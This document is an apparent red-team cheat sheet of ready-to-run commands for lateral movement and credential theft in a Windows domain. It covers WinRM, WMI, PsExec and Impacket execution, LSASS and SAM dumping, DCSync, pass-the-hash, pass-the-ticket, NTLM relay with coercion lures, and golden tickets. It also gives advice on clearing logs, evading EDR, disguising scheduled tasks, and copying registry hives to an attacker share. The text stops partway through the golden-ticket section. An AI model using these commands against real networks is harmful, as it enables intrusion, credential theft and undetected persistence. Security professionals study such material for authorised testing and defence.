Lateral Movement#
This section provides actionable workflows for moving between hosts within a compromised network.
PowerShell Remoting (WinRM)#
Uses WinRM (TCP 5985/5986) for remote PowerShell execution.
Establish a Session#
# Prompt for credentials securely
$cred = Get-Credential contoso\svc_admin
# Create persistent session
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Credential $cred
# Multiple targets simultaneously
$servers = @("server01.contoso.local", "server02.contoso.local")
$sessions = New-PSSession -ComputerName $servers -Credential $cred
# Use current credentials (if already domain user)
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN>
# Specify alternate port (if WinRM is on non-standard port)
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Port 5986 -UseSSL -Credential $cred
# Session options for better OPSEC
$so = New-PSSessionOption -NoMachineProfile -SkipCACheck -SkipCNCheck
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Credential $cred -SessionOption $so
Execute Commands#
# Run simple command to verify access
Invoke-Command -Session $session -ScriptBlock { whoami; hostname }
# Execute commands on multiple systems simultaneously
Invoke-Command -ComputerName $servers -Credential $cred -ScriptBlock { Get-Process }
# Execute local script on remote machine
Invoke-Command -Session $session -FilePath .\payload.ps1
# Execute script block with arguments
Invoke-Command -Session $session -ScriptBlock { param($arg1) Get-Process $arg1 } -ArgumentList "lsass"
# Execute command and save output
$output = Invoke-Command -Session $session -ScriptBlock { Get-ChildItem C:\Users }
# Copy files to/from remote session
Copy-Item -Path .\tool.exe -Destination C:\Windows\Temp\tool.exe -ToSession $session
Copy-Item -Path C:\temp\data.txt -Destination .\loot\ -FromSession $session
# Background job for long-running tasks
Invoke-Command -Session $session -ScriptBlock { Start-Sleep -Seconds 300 } -AsJob
Get-Job | Receive-Job
Gain Interactive Access#
# Enter interactive session
Enter-PSSession -Session $session
# Or directly without pre-creating session
Enter-PSSession -ComputerName <TARGET_SERVER_FQDN> -Credential $cred
# Exit interactive session
Exit-PSSession
# Clean up sessions when done (OPSEC)
Remove-PSSession -Session $session
Get-PSSession | Remove-PSSession
OPSEC Enhancements#
# Disable command history (avoid leaving traces)
Set-PSReadlineOption -HistorySaveStyle SaveNothing
# Clear event logs (requires admin, very suspicious)
Invoke-Command -Session $session -ScriptBlock {
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
}
# Use CredSSP for double-hop authentication (allows further lateral movement)
# WARNING: Less secure, only use when necessary
Enable-WSManCredSSP -Role Client -DelegateComputer <TARGET_SERVER_FQDN> -Force
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Authentication CredSSP -Credential $cred
WMI (Windows Management Instrumentation)#
WMI provides system management via DCOM (TCP 135 + dynamic RPC ports).
wmic.exe
(Deprecated in Windows 11+)#
:: Basic command execution
wmic /node:<TARGET_SERVER> /user:<DOMAIN>\<USER> /password:<PASSWORD> process call create "cmd.exe /c whoami"
:: Execute PowerShell payload
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> process call create "powershell.exe -NoP -W Hidden -Enc <BASE64_PAYLOAD>"
:: Multiple targets from file
wmic /node:@targets.txt /user:<USER> /password:<PASSWORD> process call create "cmd.exe /c ipconfig"
:: Query information (enumeration)
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> computersystem get name,domain,manufacturer
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> os get caption,version
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> qfe list
:: NOTE: wmic.exe is deprecated in Windows 11 (build 21H2+). Use PowerShell alternatives.
PowerShell WMI#
# Basic process creation
Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Class Win32_Process -Name Create -ArgumentList "calc.exe" -Credential (Get-Credential)
# More advanced: Execute encoded PowerShell
$cred = Get-Credential
$command = "powershell.exe -NoP -W Hidden -Enc <BASE64>"
Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_Process -Name Create -ArgumentList $command
# Execute and capture return value
$result = Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c dir C:\ > C:\temp\output.txt"
if ($result.ReturnValue -eq 0) { Write-Host "Success. PID: $($result.ProcessId)" }
# WMI queries (stealthier than execution)
Get-WmiObject -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_ComputerSystem
Get-WmiObject -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_Process | Where-Object {$_.Name -eq "lsass.exe"}
# Using CIM cmdlets (modern, recommended over WMI cmdlets)
$session = New-CimSession -ComputerName <TARGET_SERVER> -Credential $cred
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
Get-CimInstance -CimSession $session -ClassName Win32_OperatingSystem
Remove-CimSession -CimSession $session
Impacket (wmiexec.py from Linux)#
# Using password authentication
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
# Pass-the-Hash
impacket-wmiexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
# With full LM:NT hash format
impacket-wmiexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
# Execute specific command and exit
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "whoami /all"
# Kerberos authentication (requires valid TGT)
impacket-wmiexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
# Specify custom share for output (default is ADMIN$)
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> -share C$
# Codec specification for non-English systems
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> -codec gbk
PsExec & Alternatives#
Service-based remote execution. Creates and starts a service on the target.
PsExec (Sysinternals)#
:: Basic execution
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> cmd.exe
:: Interactive session
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -i cmd.exe
:: Run as SYSTEM
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -s cmd.exe
:: Copy executable and run
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -c payload.exe
:: Don't wait for process to terminate
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -d cmd.exe /c "whoami"
Impacket (psexec.py)#
# Standard execution
impacket-psexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
# Pass-the-Hash
impacket-psexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
# Kerberos authentication
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
# Execute command and exit
impacket-psexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "ipconfig /all"
Stealthier Alternatives#
# smbexec.py - No service creation, uses SMB + scheduled tasks
impacket-smbexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
impacket-smbexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
# atexec.py - Uses Task Scheduler (less suspicious than service)
impacket-atexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "whoami"
impacket-atexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP> "systeminfo"
# dcomexec.py - Uses DCOM for execution (very stealthy)
impacket-dcomexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
impacket-dcomexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP> "cmd.exe /c whoami"
Scheduled Tasks#
Create remote scheduled tasks for execution.
schtasks.exe (Native)#
:: Create task to run at specific time
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "MyTask" /TR "C:\Windows\Temp\payload.exe" /ST 10:00
:: Create task to run immediately (use /SC ONCE with /ST set to current time + 1 minute)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "WindowsUpdate" /TR "powershell.exe -NoP -W Hidden -Enc <BASE64>" /ST 14:35 /F
:: Run task immediately (after creation)
schtasks /run /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /TN "MyTask"
:: Query existing tasks (enumeration)
schtasks /query /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /V /FO LIST
:: Delete task (cleanup - CRITICAL for OPSEC)
schtasks /delete /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /TN "MyTask" /F
:: Create recurring task (persistent access)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC DAILY /TN "MaintenanceTask" /TR "C:\Windows\Temp\beacon.exe" /ST 09:00
:: Run as SYSTEM (requires appropriate privileges)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "SysTask" /TR "cmd.exe /c whoami" /ST 15:00 /RU SYSTEM
:: Hidden task (won't appear in Task Scheduler GUI easily)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "\Microsoft\Windows\UpdateTask" /TR "powershell.exe -c IEX(...)" /ST 16:00 /F
PowerShell (ScheduledTasks Module - Windows 8+/Server 2012+)#
# Modern approach using ScheduledTasks cmdlets
$cred = Get-Credential
# Create action
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -Enc <BASE64>"
# Create trigger (one-time, immediate)
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
# Create principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Register task on remote system
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
Register-ScheduledTask -TaskName "WindowsDefenderUpdate" -Action $using:action -Trigger $using:trigger -Principal $using:principal
}
# Start task immediately
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
Start-ScheduledTask -TaskName "WindowsDefenderUpdate"
}
# Remove task (cleanup)
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
Unregister-ScheduledTask -TaskName "WindowsDefenderUpdate" -Confirm:$false
}
# Enumerate tasks
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, State, TaskPath
}
Impacket (atexec.py)#
# Execute command via scheduled task (auto-cleanup)
impacket-atexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "whoami /all"
# Pass-the-Hash
impacket-atexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP> "systeminfo"
# Kerberos authentication
impacket-atexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN> "ipconfig /all"
# Note: atexec creates temporary tasks and cleans them up automatically
Credential Access#
LSASS Memory Dumping#
Extract credentials from LSASS process memory. Contains plaintext passwords, NTLM hashes, and Kerberos tickets.
Requirements: Local admin or
SeDebugPrivilege
Procdump (Sysinternals)#
:: Find LSASS PID
tasklist | findstr lsass.exe
:: Dump with procdump (accepts EULA automatically)
procdump.exe -accepteula -ma <LSASS_PID> lsass.dmp
:: Alternative: Use process name
procdump.exe -accepteula -ma lsass.exe lsass.dmp
:: Dump to alternate location
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\debug.dmp
:: NOTE: Transfer lsass.dmp offline for parsing (avoid running Mimikatz on target)
comsvcs.dll (Native LOLBin Method)#
:: Find LSASS PID
tasklist | findstr lsass.exe
:: Dump using native DLL (requires admin)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
:: PowerShell variant (better for remote execution)
powershell -c "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full"
:: NOTE: This method is heavily monitored but uses signed Microsoft DLL
Task Manager (GUI Method - Less Suspicious)#
1. Open Task Manager (taskmgr.exe) as Administrator
2. Go to Details tab
3. Right-click lsass.exe
4. Select "Create dump file"
5. Default location: C:\Users\<USER>\AppData\Local\Temp\lsass.DMP
6. Transfer file offline
Modern EDR Evasion Techniques#
# Duplicate LSASS handle (bypass some EDR hooks)
# Requires custom tooling like SafetyDump, SharpDump, or EDRSandblast
# Example with PowerShell (technique overview)
# 1. Open handle to LSASS with minimal permissions
# 2. Duplicate handle with PROCESS_VM_READ
# 3. Use duplicated handle for MiniDumpWriteDump
# (Implementation requires C# or native code)
# Alternative: Dump memory from kernel driver (very advanced)
# Requires loading custom driver (needs TESTSIGNING or valid signature)
Offline Parsing#
# Mimikatz (Windows)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
# Full output with tickets
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "sekurlsa::tickets" "exit"
# Pypykatz (Python - Cross-platform)
pypykatz lsa minidump lsass.dmp
# Save output to file
pypykatz lsa minidump lsass.dmp -o pypykatz_output.txt
# JSON output for parsing
pypykatz lsa minidump lsass.dmp --json -o results.json
# Verbose output with all details
pypykatz lsa minidump lsass.dmp -v
SAM & SYSTEM Hive Dumping#
Extract local account password hashes from registry. Useful for local admin credential reuse across multiple systems.
Requirements: SYSTEM or Administrator privileges
Save Registry Hives#
:: Standard method (requires admin)
reg save hklm\sam C:\temp\sam.hiv
reg save hklm\system C:\temp\system.hiv
reg save hklm\security C:\temp\security.hiv
:: Alternative output locations
reg save hklm\sam \\<ATTACKER_IP>\share\sam.hiv
reg save hklm\system \\<ATTACKER_IP>\share\system.hiv
:: PowerShell method
reg.exe save hklm\sam C:\Windows\Temp\sam.hiv /y
reg.exe save hklm\system C:\Windows\Temp\system.hiv /y
:: Check file sizes (ensure successful save)
dir C:\temp\*.hiv
Volume Shadow Copy Method#
:: List shadow copies
vssadmin list shadows
:: Create new shadow copy
vssadmin create shadow /for=C:
:: Access shadow copy (note the path from list command)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\security.hiv
:: PowerShell method for shadow copy
$shadow = (Get-WmiObject -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
$shadowPath = (Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $shadow.ShadowID }).DeviceObject
cmd /c copy "$shadowPath\Windows\System32\config\SAM" C:\temp\sam.hiv
cmd /c copy "$shadowPath\Windows\System32\config\SYSTEM" C:\temp\system.hiv
:: Delete shadow copy (cleanup)
vssadmin delete shadows /shadow={SHADOW_ID} /quiet
Parse Offline with Impacket#
# Basic hash extraction
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL
# Include LSA secrets (cached credentials, service passwords)
impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
# Output to file
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL > local_hashes.txt
# Format for hashcat/john
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL | grep ":" | grep -v "Dumping" > ntlm_hashes.txt
Remote SAM Dump#
# Dump remote SAM database (requires admin access)
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
# Pass-the-Hash
impacket-secretsdump -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
# Dump only SAM (skip other secrets)
impacket-secretsdump -sam <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
DCSync Attack#
Abuse AD replication privileges to request password data from Domain Controller. Appears as legitimate DC-to-DC replication.
Requirements:
- Replicating Directory Changes (DS-Replication-Get-Changes)
- Replicating Directory Changes All (DS-Replication-Get-Changes-All)
- Usually requires Domain Admin, Enterprise Admin, or Administrators group
Impacket (secretsdump.py)#
# Dump entire domain (NTDS.dit equivalent)
impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# Pass-the-Hash
impacket-secretsdump -just-dc -hashes :<NT_HASH> <DOMAIN>/<USER>@<DC_IP>
# Kerberos authentication
impacket-secretsdump -just-dc -k -no-pass <DOMAIN>/<USER>@<DC_FQDN>
# Dump specific user (less noisy, targeted)
impacket-secretsdump -just-dc-user <DOMAIN>/krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
impacket-secretsdump -just-dc-user <DOMAIN>/Administrator <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# Dump only NTLM hashes (faster, smaller output)
impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# Include password history
impacket-secretsdump -just-dc -history <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# Output to file
impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> -outputfile dcsync_hashes
# Target specific DC (useful in multi-DC environment)
impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<SPECIFIC_DC_IP>
# Use explicit credentials with password file
impacket-secretsdump -just-dc <DOMAIN>/<USER>@<DC_IP> -p $(cat password.txt)
Mimikatz (Requires Execution on Domain-Joined System)#
# Dump specific user
lsadump::dcsync /domain:<DOMAIN_FQDN> /user:krbtgt
# Dump Domain Administrator
lsadump::dcsync /domain:<DOMAIN_FQDN> /user:Administrator
# Dump specific user by SID
lsadump::dcsync /domain:<DOMAIN_FQDN> /sid:S-1-5-21-...
# Dump all domain users (very noisy)
lsadump::dcsync /domain:<DOMAIN_FQDN> /all /csv
# Dump to specific DC
lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_NAME> /user:krbtgt
Using Rubeus for DCSync (Alternative)#
# Rubeus doesn't perform DCSync directly, but can be used with stolen replication credentials
# Use in combination with other techniques
Detection and OPSEC#
# Events to monitor for DCSync:
# - Event ID 4662: Operation performed on object (with replication GUIDs)
# - Event ID 4624: Logon from unusual source performing replication
# - Event ID 5136: Directory service object modified
# OPSEC tips:
# 1. Perform DCSync during maintenance windows
# 2. Use legitimate DC naming conventions if creating fake DC
# 3. Space out requests (don't dump entire domain at once)
# 4. Target specific high-value accounts only
# 5. Use compromised DC credentials if possible (looks legitimate)
Over-Pass-the-Hash (Pass-the-Key)#
Convert NTLM hash into Kerberos TGT. More stealthy than traditional Pass-the-Hash as it uses Kerberos protocol instead of NTLM.
Rubeus#
# Request TGT using NTLM hash (RC4) and inject into current session
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt
# Request TGT using AES256 key (stealthier, less suspicious)
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_KEY> /ptt
# Request TGT and save to file (instead of injecting)
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /outfile:ticket.kirbi
# Inject saved ticket into current session
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Request TGT for specific DC
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /dc:<DC_IP> /ptt
# Verify ticket is loaded
klist
# View ticket details
.\Rubeus.exe klist
# Use ticket for network authentication
dir \\<TARGET_SERVER>\C$
Mimikatz#
# Enable debug privilege
privilege::debug
# Overpass-the-Hash (creates new process with injected ticket)
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:cmd.exe
# With AES256 key (better OPSEC)
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_KEY> /run:powershell.exe
# Alternative: Inject into current process
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH>
# Request TGT manually
kerberos::ask /target:krbtgt/<DOMAIN> /user:<USERNAME> /rc4:<NTLM_HASH>
# List current tickets
kerberos::list
# Purge existing tickets (cleanup)
kerberos::purge
Impacket (getTGT.py)#
# Request TGT using NTLM hash
impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH>
# With AES key
impacket-getTGT <DOMAIN>/<USER> -aesKey <AES256_KEY>
# Save to specific filename
impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>
# Export ticket for use
export KRB5CCNAME=<USER>.ccache
# Use ticket with other Impacket tools
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-wmiexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-smbexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
# Verify ticket contents
klist (on Linux with Kerberos client)
# or
python3 -m pykerberosticket <USER>.ccache
OPSEC Enhancements#
# Use AES keys instead of NTLM (requires extracting AES keys first)
# AES generates less suspicious Event IDs compared to RC4/NTLM
# Extract AES keys from LSASS dump using Mimikatz
sekurlsa::ekeys
# Or from DCSync
lsadump::dcsync /domain:<DOMAIN> /user:<USERNAME>
# Then use AES256 key with Rubeus (most stealthy)
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_KEY> /ptt /nowrap
# Monitor for successful authentication
# Event ID 4768: Kerberos TGT request
# Look for Encryption Type: 0x12 (AES256) vs 0x17 (RC4) - AES is less suspicious
# Timing considerations
# Request tickets during business hours to blend with normal authentication
# Avoid requesting tickets for service accounts outside their typical usage patterns
Practical Workflow Example#
# 1. Dump credentials from compromised host
.\Rubeus.exe dump /service:krbtgt /nowrap
# 2. Extract NTLM hash or AES key from output
# NTLM: a1b2c3d4e5f6...
# AES256: 1234567890abcdef...
# 3. Request TGT using hash/key
.\Rubeus.exe asktgt /user:targetuser /domain:contoso.local /aes256:<AES256_KEY> /ptt
# 4. Verify ticket loaded
klist
# Should show ticket for krbtgt/CONTOSO.LOCAL
# 5. Use ticket for lateral movement
dir \\dc01.contoso.local\C$
Enter-PSSession -ComputerName server01.contoso.local
# 6. Cleanup (optional, depends on OPSEC needs)
klist purge
Pass-the-Ticket (PTT)#
Inject stolen Kerberos tickets (TGT or TGS) into current session for authentication. No password or hash needed.
Rubeus (Windows)#
# Extract tickets from current session
.\Rubeus.exe dump /nowrap
# Extract all tickets from LSASS
.\Rubeus.exe dump /luid:0x3e7 /nowrap
# Export tickets to .kirbi files
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /outfile:ticket.kirbi
# Inject ticket into current session
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Inject base64-encoded ticket
.\Rubeus.exe ptt /ticket:<BASE64_TICKET>
# Inject multiple tickets
.\Rubeus.exe ptt /ticket:ticket1.kirbi /ticket:ticket2.kirbi
# Create new logon session and inject ticket (better isolation)
.\Rubeus.exe createnetonly /program:cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TICKET>
# Monitor and renew tickets automatically
.\Rubeus.exe monitor /interval:60 /filteruser:<USERNAME>
# Verify tickets loaded
klist
# Use ticket
dir \\dc01.contoso.local\C$
Mimikatz#
# List available tickets
sekurlsa::tickets
# Export tickets
sekurlsa::tickets /export
# Inject ticket from file
kerberos::ptt ticket.kirbi
# Inject multiple tickets
kerberos::ptt ticket1.kirbi ticket2.kirbi ticket3.kirbi
# List current session tickets
kerberos::list
# Purge all tickets (cleanup)
kerberos::purge
Impacket (Linux)#
# Convert .kirbi to .ccache format (if needed)
impacket-ticketConverter ticket.kirbi ticket.ccache
# Set ticket for use
export KRB5CCNAME=ticket.ccache
# Or specify absolute path
export KRB5CCNAME=/path/to/ticket.ccache
# Verify ticket
klist
# Use ticket with Impacket tools (must use FQDN, not IP)
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-wmiexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-smbexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-secretsdump -k -no-pass <DOMAIN>/<USER>@<DC_FQDN>
# Access SMB shares
smbclient -k //target.contoso.local/C$ -U <USER>@<DOMAIN>
# Unset ticket
unset KRB5CCNAME
kdestroy
Ticket Harvesting Strategies#
# Monitor for high-value tickets (Domain Admins, Service Accounts)
.\Rubeus.exe triage
# Harvest tickets from all sessions (requires SYSTEM)
.\Rubeus.exe dump /luid:0x3e7 /user:administrator /nowrap
# Monitor for DA logons and auto-harvest
.\Rubeus.exe monitor /interval:30 /targetuser:administrator /nowrap
# Extract TGT vs TGS
# TGT: Allows requesting any service ticket
# TGS: Only works for specific service
.\Rubeus.exe dump /service:krbtgt # TGTs only
.\Rubeus.exe dump /service:cifs # CIFS service tickets
.\Rubeus.exe dump /service:http # HTTP service tickets
NTLM Relay#
Intercept and relay NTLM authentication to access other systems. Effective when SMB signing is disabled.
Requirements: SMB signing disabled or not required on target
Responder + ntlmrelayx (Impacket)#
# 1. Configure Responder (disable SMB and HTTP servers for relay)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
# 2. Start Responder to capture authentication attempts
sudo responder -I eth0 -rdwv
# 3. In another terminal, start ntlmrelayx
# Relay to single target
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support
# Relay to multiple targets from file
impacket-ntlmrelayx -tf targets.txt -smb2support
# Relay and execute command
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support -c "whoami"
# Dump SAM database on successful relay
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support --dump-sam
# Dump LSA secrets
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support --dump-lsa
# Interactive shell on relay
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support -i
# Relay with SOCKS proxy for further interaction
impacket-ntlmrelayx -tf targets.txt -smb2support -socks
# Use with proxychains
proxychains impacket-psexec <DOMAIN>/<USER>@<TARGET_IP>
# Relay to LDAP for privilege escalation (add user to group)
impacket-ntlmrelayx -t ldap://<DC_IP> --escalate-user <USERNAME>
# Relay to LDAPS (if LDAPS available)
impacket-ntlmrelayx -t ldaps://<DC_IP> --escalate-user <USERNAME>
# Relay with specific interface
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support -ip <ATTACKER_IP>
Triggering NTLM Authentication#
# Force authentication attempts from targets
# 1. Create malicious file share link
echo '[InternetShortcut]' > file.url
echo 'URL=file://<ATTACKER_IP>/share' >> file.url
# 2. Send email with UNC path
# Body: \\<ATTACKER_IP>\share\image.jpg
# 3. PDF with UNC path (if user opens)
# Embed: /F <</FS /URL /F (\\\\<ATTACKER_IP>\\share\\file.pdf)>>
# 4. Use PetitPotam to coerce authentication from DC
python3 PetitPotam.py <ATTACKER_IP> <TARGET_DC_IP>
# 5. PrinterBug (SpoolSample)
python3 printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> <ATTACKER_IP>
Mitigation Checks#
# Check if SMB signing is required (prevents relay)
nxc smb <TARGET> --gen-relay-list relay_targets.txt
# Manual check via nmap
nmap --script smb2-security-mode.nse -p445 <TARGET>
# PowerShell check from Windows
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
Golden Ticket#
Forge TGT using krbtgt account hash. Provides persistent domain access without needing actual credentials. Requirements: krbtgt NTLM hash or AES key, Domain SID
Gather Required Information#
# 1. Get krbtgt hash via DCSync
impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# Or with Mimikatz
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
# 2. Get Domain SID
# PowerShell
(Get-ADDomain).DomainSID
# Or via whoami
whoami /user
# Take everything except the last segment (RID)
# Or via PsGetSid
PsGetSid.exe \\<DC_NAME>
Create Golden Ticket with Mimikatz#
# Basic golden ticket (10 years validity by default)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt
# With AES256 key (stealthier)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /aes256:<AES256_KEY> /ptt
# Specify ticket duration (avoid defaults)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /startoffset:-10 /endin:600 /renewmax:10080 /ptt
# Create for specific user
kerberos::golden /user:<TARGET_USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt
# Add to specific groups (customize permissions)
kerberos::golden /user:CustomAdmin /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /groups:512,513,518,519,520 /ptt
# Save to file instead of injecting
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ticket:golden.kirbi
# Inject saved ticket
kerberos::ptt golden.kirbi
Create Golden Ticket with Impacket#
# Create golden ticket
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> Administrator
# With AES key
impacket-ticketer -aesKey <AES256_KEY> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> Administrator
# Specify custom groups
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -groups 512,513,518,519,520 Administrator
# Custom ticket duration
